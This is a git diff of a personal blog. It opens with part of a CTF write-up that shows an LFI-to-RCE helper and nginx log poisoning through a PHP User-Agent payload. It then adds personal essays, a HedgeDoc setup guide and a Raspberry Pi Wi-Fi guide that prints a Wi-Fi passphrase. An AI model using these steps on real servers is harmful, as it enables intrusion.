LFI-include pwreset index.php with user/pass params + +def rce(cmd): + pwreset(f"", "") + return lfi_include("/var/www/userchange") +``` + +It prints `id`, the modified cron script, each part file, and the combined password. + +--- + +## 11) Bonus: the intended log poisoning path + +After I solved the box the scenic route (pwreset → `userchange`), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: **griefing the logs is part of the game** — and students mostly grief *themselves*. Fair. 😂 + +So here's the path you're *supposed* to take for RCE, and how I accidentally took the scenic bypass. + +### The hint is in `index.php`, not `documentation.md` + +`documentation.md` only lists the services (`web`, `pwreset`). It says nothing about logs. The actual breadcrumb is an HTML comment in `index.php` (readable via PHP filter LFI): + +```html + +``` + +Four logs. Two pairs: **HTTP** and **HTTPS (ssl-)**. The comment doesn't say "don't use SSL" — but the intended trick is to use the **non-ssl** access log. + +### Intended technique + +1. **Poison over HTTP** (port 80), not HTTPS — so nginx writes to the smaller vhost log: + + ```text + /var/log/nginx/web.g00.tuw.measurement.network.access.log + ``` + +2. Put PHP in the `User-Agent` (or another logged field): + + ```text + + ``` + + Short tags like `` `` work too. Use **quoted** `'cmd'` — bare `$_GET[cmd]` is a PHP 8 footgun. + +3. **Include that log** through the same LFI bug: + + ```text + https://web.g00.tuw.measurement.network/ + ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log + &cmd=id + ``` + +On a **fresh** box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get `www-data`. That's RCE. No pwreset required. + +### How I griefed myself + +| What I did | Why it hurt | +|------------|-------------| +| Defaulted to `https://` everywhere | Poison landed in `ssl-web...access.log` — **670 KB+** and growing | +| Included the ssl log via LFI | Output truncates around ~2 KB; poison sits at the tail | +| Fired dozens of test payloads | Left broken `}} diff --git a/content/posts/h3ll0_fr1end.md b/content/posts/h3ll0_fr1end.md new file mode 100644 index 0000000..42d5cae --- /dev/null +++ b/content/posts/h3ll0_fr1end.md @@ -0,0 +1,27 @@ ++++ +title = 'H3ll0 Fr1end' +date = 2026-05-02T16:17:02Z +draft = false ++++ + +Hello friends. I'm back. It's been... let's say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I'm so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it's shadow over the country for decades. It's funny how his father (I'm talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people's lives, and then selling people's food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it's not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not "own" makes him the best candidate for exploitation. And he has shown this very well. + + +The occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore. + +It's so so sad that I'm siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It's so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, ..., Persian Constitutional Revolution, etc.. So fucking sad. + +The saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don't think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime's influence over it's people. + +Another reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it's own people. Years of stagflation, and no bright light in sight. + +Anyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :) + +Unfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D + +I honestly also don't feel like proofreading the text, so... there would be many mistakes. :) And honestly, idc. + + +--- + +{{< sigdl >}} diff --git a/content/posts/hedge_doc.asc b/content/posts/hedge_doc.asc new file mode 100644 index 0000000..04c32f3 --- /dev/null +++ b/content/posts/hedge_doc.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA8YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q88YP/RQ/Kl+5D4LtmlO9z/2y/d3k +m7DJcaLlx1D8VXZboEq5auS9/AKnwDwjrQsCAug6aO3+MENRGT+YaxqACcD8/J07 ++TB7+gnTkB+iFUIFOsdx2oKuZhwhpXv/MEqNsD2VVrMgM+8SChBhdlV0axJdWb9g +tOphFNL1JdZAU1G7PqwVJDZWAsj8tr7DL7+EVTb0E2qXdZmbR9VmhkCojaPw156I +BGc7zkPhGwJpBW0PlKFM68SeH1+nMleE1WxfWgPpGpk5JeLvOVMiIbp1M8qJojk7 +SO45+IpfVJ4YC3mHhgd5dkG603dZDtC44AS+zvU/GiUMjBa2li9TuOiF0QiQHdv1 +nnAmFbov8EKW1PKRhD91iBZpwY4ckAngXkfJEaQh+QiDEceR2c4sYFmlP11SBYXI +9g4AUnH8E8Js1UnJ3Jc+dGONbVV/cJ/D+am4ujo3DAgJWiwNl5zZumHtM8GfOOf3 +HasC9uNzebsnIEoaxP1xwTKP/OwZktPgUlBoKjQ3lvvymYWmF6f+dSC4zTed8PLT +jexTeK01OVPLIcbV4h2UGwyoUTGSZ1hSkXA3gyehV/yqInBJhTkhD8bAwDj4NYbD +8PwaiSSQITgmZPCssrCSpEB8KJpBEFjEE0OksQN/sB2aZkegASMNUlYsmr1OOEIZ +ah+SMhSAQZcRUpsRdN9o +=pfUc +-----END PGP SIGNATURE----- diff --git a/content/posts/hedge_doc.md b/content/posts/hedge_doc.md new file mode 100644 index 0000000..1b3c834 --- /dev/null +++ b/content/posts/hedge_doc.md @@ -0,0 +1,191 @@ +--- +title: "Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt" +date: 2025-08-29 +draft: false +tags: ["hedgedoc", "docker", "nginx", "letsencrypt", "self-hosting"] +categories: ["guides"] +cover: + image: "/images/hedgedoc-cover.png" + alt: "HedgeDoc collaborative editing" + caption: "Collaborative Markdown editing with HedgeDoc" + relative: true + hidden: false +--- + +HedgeDoc is an open-source collaborative Markdown editor. Think *Google Docs for Markdown*: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. + +--- + +## Prerequisites + +- A Linux server with **Docker** and **Docker Compose** +- A domain name pointing to your server (e.g. `notes.alipourimjourneys.ir`) +- **Nginx** installed for reverse proxying +- **Certbot** for Let’s Encrypt certificates + +--- + +## 1. Create the project directory + +{{< highlight bash >}} +mkdir ~/hedgedoc && cd ~/hedgedoc +{{< /highlight >}} + +--- + +## 2. Create `.env` + +{{< highlight env >}} +POSTGRES_PASSWORD=ChangeThisStrongPassword +HD_DOMAIN=notes.alipourimjourneys.ir +{{< /highlight >}} + +Generate a strong password with: + +{{< highlight bash >}} +openssl rand -base64 32 +{{< /highlight >}} + +--- + +## 3. Create `docker-compose.yml` + +{{< highlight yaml >}} +version: "3.9" + +services: + db: + image: postgres:16 + environment: + POSTGRES_USER: hedgedoc + POSTGRES_PASSWORD: ${POSTGRES_PASSWORD} + POSTGRES_DB: hedgedoc + volumes: + - db:/var/lib/postgresql/data + restart: unless-stopped + + hedgedoc: + image: quay.io/hedgedoc/hedgedoc:1.10.2 + depends_on: + - db + environment: + CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc + CMD_DOMAIN: ${HD_DOMAIN} + CMD_PROTOCOL_USESSL: "true" + CMD_URL_ADDPORT: "false" + CMD_PORT: "3000" + CMD_EMAIL: "true" + CMD_ALLOW_EMAIL_REGISTER: "false" + volumes: + - uploads:/hedgedoc/public/uploads + ports: + - "127.0.0.1:3000:3000" + restart: unless-stopped + +volumes: + db: + uploads: +{{< /highlight >}} + +Bring it up: + +{{< highlight bash >}} +docker compose up -d +{{< /highlight >}} + +--- + +## 4. Get a Let’s Encrypt certificate + +Request a cert with a **DNS challenge**: + +{{< highlight bash >}} +sudo certbot certonly --manual --preferred-challenges dns -d notes.alipourimjourneys.ir -m you@example.com --agree-tos --no-eff-email +{{< /highlight >}} + +Add the TXT record certbot asks for, wait for DNS to propagate, then continue. +Certificates will be in: + +{{< highlight bash >}} +/etc/letsencrypt/live/notes.alipourimjourneys.ir/ +{{< /highlight >}} + +--- + +## 5. Configure Nginx + +Create `/etc/nginx/sites-available/notes.alipourimjourneys.ir`: + +{{< highlight nginx >}} +server { + server_name notes.alipourimjourneys.ir; + + listen 80; + listen [::]:80; + return 301 https://$host$request_uri; +} + +server { + server_name notes.alipourimjourneys.ir; + + listen 443 ssl http2; + listen [::]:443 ssl http2; + + ssl_certificate /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem; + + location / { + proxy_pass http://127.0.0.1:3000; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto https; + + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + } +} +{{< /highlight >}} + +Enable the config and reload Nginx: + +{{< highlight bash >}} +sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/ +sudo nginx -t && sudo systemctl reload nginx +{{< /highlight >}} + +--- + +## 6. Create users + +Because we disabled self-registration, create accounts manually: + +{{< highlight bash >}} +docker compose exec hedgedoc ./bin/manage_users --add alice@example.com +{{< /highlight >}} + +You’ll be prompted for a password. +To reset a password later: + +{{< highlight bash >}} +docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com +{{< /highlight >}} + +--- + +## 7. Done! + +Visit [https://notes.alipourimjourneys.ir](https://notes.alipourimjourneys.ir) and log in with the user you created. You now have your own collaborative Markdown editor 🎉 + +--- + +**Extras:** + +- Backups: dump the PostgreSQL database and save the `uploads` volume. +- Upgrades: `docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d`. +- Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more. + +--- + +{{< sigdl >}} diff --git a/content/posts/hello-world.asc b/content/posts/hello-world.asc new file mode 100644 index 0000000..fb1d431 --- /dev/null +++ b/content/posts/hello-world.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBAYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qYdAQAKVr4HvFKkfBv2btqsbenlsY +ii3FCE+/31O6jQ6Sw0xIw7KUXaXtT5BXdQHC0b9d9DwHjC+nWloCpREcebxyapUf +cOF8i8H06o2ihXwpHg0ky418tFhpOx+NRmqCbof8EYoOntLv++xbYHuG0YjGLw9Z +3g7zY9jbJUuyCfJLuCx/BvzYtn1T0n2Bu8zwNKgMzdtNUz+uWCNK7zycYPYvnXlr +bZ3NWmZ0XT+WuK7znpkfKNQASpaIrOtwT/bXQzmH1WkdXSrnaS7bIjjg+8MB7+at +l49E260lq7StwThWcdoG7epUaHpwjE/C+hItZv8buaPBx/xTumsqKVhs87bl4fd/ +LXttOUhRDw11GZxMuokzugijJxttOXIKbShmZ/fyUOwuZxJ2YsMqY9ttUrGOzk/t +L6447hSA9AhsyEnReotIMxeq779pv+fiivs9Tg99QkvUiMv39IkoK8Cf38pbCR1O +D806nTXXx6L4fmbADbZuqg4RjCaJwp2p7BGKaYwkA9rIRdmHVdJBEmD7U+W9IZp/ +18daQq3i45WoHWnTwDDhJ/1IPFUum9WCTkqtABPyrY4huxfdPUVavuGl1vgWAZ8+ +srQuHaEet4vBjcCXOOainIbxvIlY25JcTLXk3Vt1Abhf25TIU2aKimGRGgmv2EJv +IGqrQXD2ctkQP+IhyzVV +=gz9U +-----END PGP SIGNATURE----- diff --git a/content/posts/hello-world.md b/content/posts/hello-world.md new file mode 100644 index 0000000..6797182 --- /dev/null +++ b/content/posts/hello-world.md @@ -0,0 +1,11 @@ ++++ +title = 'Hello World' +date = 2025-08-25T08:53:38Z +draft = false ++++ + +This is a test hello world post just to make sure everything works! + +--- + +{{< sigdl >}} diff --git a/content/posts/hobbies.asc b/content/posts/hobbies.asc new file mode 100644 index 0000000..f6f8529 --- /dev/null +++ b/content/posts/hobbies.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAkYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0quhUP/3KfdZmORKp0g8lgR8+YmirC +ITgqb05MVKd8fuja8vGF+E+XtfeM8xyOV1YDCqeEE9VIWNsjX3+ISkwMCWboyL5m +ks9/3SqSOlv7y2xMcAyVPFYkQYi0CZJ2afp3tmEXKVDOvFTqB7zPkchEbIHLZfih +I/WmCMzbDt8OEGKd0pUe9S/Ux65a9JHQ8GerA+8wQ2TSxQjtelPnD5XrWqeKhRbL +2bDpQZBDcv9dvRBTBEIpHeDg/ylyUPT8WDnIChzAt8tIZFnanMspSw+kdQddpAIF +mqzAmhlQkeRkshbGbHW2h7AeNFZC3CBOPSlp3xi1jRbS4Ao97FuKcGv3TsXM61XX ++n1GoI48dYVhDX92i1ZkG7ZJl5OKbSd/l8pxmtiqVy+nY73Jlo9SH142mVtO5Yqz +Fqvrju4WhZZjTvx8LJ7HSxx/ZFL4ciRyTCttzpqz6Gg4V3ouvrhTk1wQcQu8RiSq +l8ZKyGQ6AexBN/OYwjLFMvbdw2+oSCcMQBFPD9RmDsq+cNTeTJ9qYdvkqF6InNWr +IfOu8FUhWPwSkx/OS4zrChZX8cWq6Sxo5W7YAVOQz5/jazWrRoFJ/XNsMe5GMJr2 +WlaUl9yNtLN9IjYVHVV9xVSc222ENBlL5G/YbDCYzKn2i79OxAgpJlWoLBw+fZ/X +yyRVskOPUanwD9SLgEzF +=OVFH +-----END PGP SIGNATURE----- diff --git a/content/posts/hobbies.md b/content/posts/hobbies.md new file mode 100644 index 0000000..1426fa7 --- /dev/null +++ b/content/posts/hobbies.md @@ -0,0 +1,172 @@ ++++ +title = 'Hobbies' +date = 2025-10-10T07:04:54Z +draft = false +description = "My point of view on hobbies" ++++ + +When I started my PhD, I was told "get yourself a hobby!" many many times by both my advisor, and the director of the group I worked in. +In fact, when being interviewed for the position, I was asked about my hobbies. + +For some reason I think I have like the weirdest hobbies of all time. +Like, you know, people binge series, go to clubs, bars, hang out, and so on. +But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. +To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards. + +Let's go back in time. +What hobbies have I had over the course of my life? +Actually as a kid I used to play games on Mobile for some reason. +I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. +I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. +Like I liked Vain Glory, and my brother liked Fifa. +We did play both in the end. + +After my brother went to the capital to attend univesity, we bacame more distant. +I had to also focus on my own studies, and was actually struggling in junior-high. +Now that is a story in itself for another time. +I used to play games back then as hobby. +But my real interest was chess. +I was really good at calculating. +I was extremely sharp for my age, but since I was obbese my parents wanted me to take "active" sport classes. +So... getting into a chess class was conditional. + +I have't really done any chess studying after those early years, and I just know a few openings with little depth. +I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening. + +In high-school I didn't really have any hobbies. +I did become interested in Basketball, but nothing serious. +It's funny how I was able to become good at any sport I tried. +I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. +I think swimming was, and still is my best sport. +I never pursued it though, which is a shame. + +Before starting my Bachelors, I became really interested in Cicada3301, and cryptography. +Well, not the fancy state-of-the-art cryptography, the simple classic methods. +The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! +That reminds me, we had these special things in junior-high called "Karsoogh" for math, physics, chemistry, and biology. +I think I quilified for pretty much every one of them, and had a blast every time! +In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. +But the math one was different, it happend between a few close-by NODET cities, and annualy. +The idea was simple. +They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. +Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. +We then competed against each other. +The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. +The fastest team gets the most points. +The the message is common between teams. +After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. +First teams to get an algorithm gets more points. +Our team won the best algorithm in the end, and my ideas were most influential in this achievement! +My teammates became really good friends with me after this competition which felt really cool! +I think this was the reason I became interested in cryptography. +I don't remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. +If your team solved a game, you got more points. +It was really fun, and since the games happened in parallel, all teammtes had to be active. + +I said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. +I like to casually get lost in questions and think about weird equations, or natural problems. +Something like Feynman's obsession with the spaghetti problem! +Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. +But I do want to get back to this fun hobby. +I just need some questions, and an empty mind. +Or I guess some time slots to chill and not stress about my other research. + +During my bachelors, I became fascinated by hardware. +Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. +Later on I realized this is related to IoT and Embedded systems. +I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! +Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! +Unfortunately I don't have any images from the project, but the code can be found [here](https://github.com/AlipourIm/Embedded_Systems_Project_Spring-1402). + +I bought myself a raspberrypi, many sensors and actuators, and did small fun projects! +I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. +I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. +I could not figure out how to fix the state when commands don't go through correctly though, a challenge that I never solved or came up with a solution for. +I would say my love with computers, making things smart, and networking became my main hobby! + +After some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. +It was, and still is a rat race. +Well, it's the story of my PhD pretty much now. + +Reading books became a hobby for a while, but Youtube kinda distroyed that. +I really love to get back to reading more books, I have a really exciting list of books to be read in my library. +Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. +I find doing chores so relaxing! +Since we talked about music I should mention I also tried to learn Piano, but didn't pursue it. +I actaully wanted to learn Violine, but the consultant we talked to said "if you're not a hard worker it won't workout for you", and since my brother was going to learn Piano, I followed suit. +And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. +This is a pattern that has happened in my life a lot, something I need to stop from happening. +Comparing myself with other, and competing with them. +It's just distroying me mentally. +I am me, and the best me ever to exist. +And that's how it should be. + +Somewhere during my bachelors I also became fascinated by coffee! +I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. +Then came matcha, though with matcha things are much more limited. + +Another thing that comes to mind is boardgames. +I love boardgames that you need to think and be smart! +An example is Cluedo. +People usually don't like to play it with me because I pay attention to "everything". +But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. +I have a whole collection of boardgames that I don't get to play! :-P +One of my all time favorite games is "Zaar" (a persian game that was discontinued), and a game kinda similar to it called "The Night Cage". +I like them because there is a bit of strategy, luck, and a lot of co-op in them. +In the later you either all win together, or get doomed. +In the first one there is a comperition aspect to the game which makes it cool. + +Cooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I'm a loner! (Drat. :P) +I love to "not follow recipes" and try new things. +Foods I make usually turn out to be quite yummy actually, though definitly not authentic. +I also think I do a good job with the presentation part when I try. +And I'm open to cooking anything and everything! + +I was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I'm alone, I rather do my other hobbies. + +And that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD + +3D printing is an interesting one. +I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. +When I went to 38c3 last year, I saw so many printers, and how cool they were. +And somehting in my heart was touched, that I need one! +The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. +And oh well, 3D printing is just the hobby! +I also tried to do some 3D design, but I'm quite a noob at it still. +I will probably share some of the things I've made somewhere somehow, but not for now at least. +Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). +It's so cute and fascinating, and I had an absolute blast working on it for the one week I did. +So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! +I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. +It's just a fun thing to have, and to play around with. +The fixing part of it, and maintaining it is not as fun, but it's part of the journey. +I will probably write about me and my 3D printer a lot more in the future. +Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition! + +And now let's talk about the CTF stuff. +This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). +I've been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. +After starting my PhD, I was introduced to Saarsec, and now I'm a proud member, trying to contribute as much as my time allows me to. +I'm not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. +I love it! +I want to do more of it. +The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. +Too shay. +I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog. + +And last but not least, blogging. +Well, I kinda started it for no reason to be honest. +I just want to share my stories, and to show my vulnerable side with no guilt. +It feels freeing to do this, and I hope I continue! +I hope people won't get mad if they are a part of these stories I share. +I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. +I really enjoy it! + +With all this being said, I think that's it. +If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. +The only thing I want to emphasize is that I'm into things that make me limited to my creativity. +Oh, and also books, if only I read them instead of watching Youtube!!!! + +--- + +{{< sigdl >}} diff --git a/content/posts/house_upgrade.md b/content/posts/house_upgrade.md new file mode 100644 index 0000000..d8c13df --- /dev/null +++ b/content/posts/house_upgrade.md @@ -0,0 +1,685 @@ +--- +title: "I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)" +date: 2025-11-23 +draft: false +tags: ["raspberry pi", "wifi", "iot", "networking", "hostapd", "dnsmasq"] +description: "Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support." +author: "Iman Alipour" +ShowToc: true +TocOpen: true +--- + +## The Day My Wi-Fi Said “Eight Is Enough” + +My apartment Wi-Fi (ASK4) has a hard cap of **8 devices**. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put **all the IoT stuff behind a Raspberry Pi** that shows up as **one** device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. + +This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience. + +--- + +## Hardware: what I picked and why + +- **Raspberry Pi 4 (4GB)** + It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better. + +- **ALFA AWUS036ACHM (USB Wi-Fi)** + Reliable, **AP-mode** friendly on Linux, and happy with `hostapd`. I used it to **broadcast** my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short **USB 3 extension** so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz). + +- **Fast USB-C power supply** (official Pi 4 or 5V/3A equivalent) + Wi-Fi spikes current draw; brown-outs cause random gremlins. + +- **16–32 GB microSD**, **heatsinks**, **ventilated case** + The Pi 4 appreciates a bit of airflow. + +- **(Optional) Ethernet cable** + If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio. + +--- + +## What this setup actually does + +- The Pi connects to the building’s **ASK4 Wi-Fi** as a **client** (`wlan0`). +- The ALFA dongle creates a new access point called **`IoT_hub`** (`wlx…` interface) with password `Iman8118`. +- Devices join `IoT_hub`. The Pi does **NAT**, so upstream sees **one MAC address** (the Pi), not dozens of gadgets. Device limit: defeated. +- **Avahi mDNS reflector** lets services like **AirPlay/HomeKit** be discoverable across the two subnets without touching the managed router. +- If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., **Tailscale**) to reach `192.168.50.0/24` from anywhere. + +--- + +## Setup details (the friendly version) + +### 1) Access point with hostapd +I broadcast a simple WPA2 network on **2.4 GHz** (best compatibility). Channel **1/6/11**—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy. + +```ini +interface=wlx00c0cab7ab29 +ssid= +country_code=DE +hw_mode=g +channel=6 +ieee80211n=1 +wmm_enabled=1 +# Don't require HT or you'll reject some tiny IoT clients: +require_ht=0 +wpa=2 +wpa_key_mgmt=WPA-PSK +rsn_pairwise=CCMP +wpa_passphrase= +``` + +### 2) DHCP on the IoT side (dnsmasq) +Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet. + +```bash +interface=wlx00c0cab7ab29 +bind-interfaces +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h +dhcp-option=3,192.168.50.1 +dhcp-option=6,1.1.1.1,8.8.8.8 +port=0 # leave port 53 to systemd-resolved +log-dhcp +``` + +### 3) Routing + NAT (nftables) +This makes every downstream device appear as the Pi upstream: + +```bash +table inet filter { + chain input { + type filter hook input priority filter; policy accept; + ct state established,related accept + iif "lo" accept + iif "wlan0" accept + iif "wlx00c0cab7ab29" accept + udp dport 5353 accept # mDNS + counter drop + } + chain forward { + type filter hook forward priority filter; policy accept; + ct state established,related accept + iif "wlx00c0cab7ab29" oif "wlan0" accept + iif "wlan0" oif "wlx00c0cab7ab29" accept + } + chain output { type filter hook output priority filter; policy accept; } +} +table ip nat { + chain postrouting { + type nat hook postrouting priority srcnat; policy accept; + oif "wlan0" masquerade + } +} +``` + +### 4) mDNS across subnets (Avahi) +The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4: + +```bash +[server] +allow-interfaces=wlan0,wlx00c0cab7ab29 +[reflector] +enable-reflector=yes +``` + +I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale + +Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4. + +Now some random questions that I looked up in internet: + +1. How many devices can this really support? + +Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama. + +If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable. + +2. What speeds should I expect? + +- LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I'm golden! ^^ + +- Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit. + +- Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy. + +3. Why these choices? +- 2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility. + +- WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it. + +- 20 MHz channel prevents older or power-saving devices from flaking out. + +- Avahi reflector avoids any changes to the building’s router and still lets discovery work. + +- NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely. + +## Troubleshooting + +- `hostapd` **masked/disabled** → + ```bash + sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd + ``` + +- `dnsmasq` can’t start because of **port 53** → + set `port=0` in `/etc/dnsmasq.d/*.conf` and let systemd-resolved keep DNS. + +- **“Station does not support mandatory HT PHY”** in `hostapd` logs → + add `require_ht=0` (and keep `ieee80211n=1`) in your `hostapd.conf`. + +- AirPlay/HomeKit don’t show up across subnets → + ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed: + - `/etc/avahi/avahi-daemon.conf` has: + ```bash + [server] + allow-interfaces=wlan0,wlx00c0cab7ab29 + [reflector] + enable-reflector=yes + ``` + - firewall allows: + ```bash + udp dport 5353 accept + ``` + +- Weak signal / flaky joins → + use a short **USB 3 extension** to move the 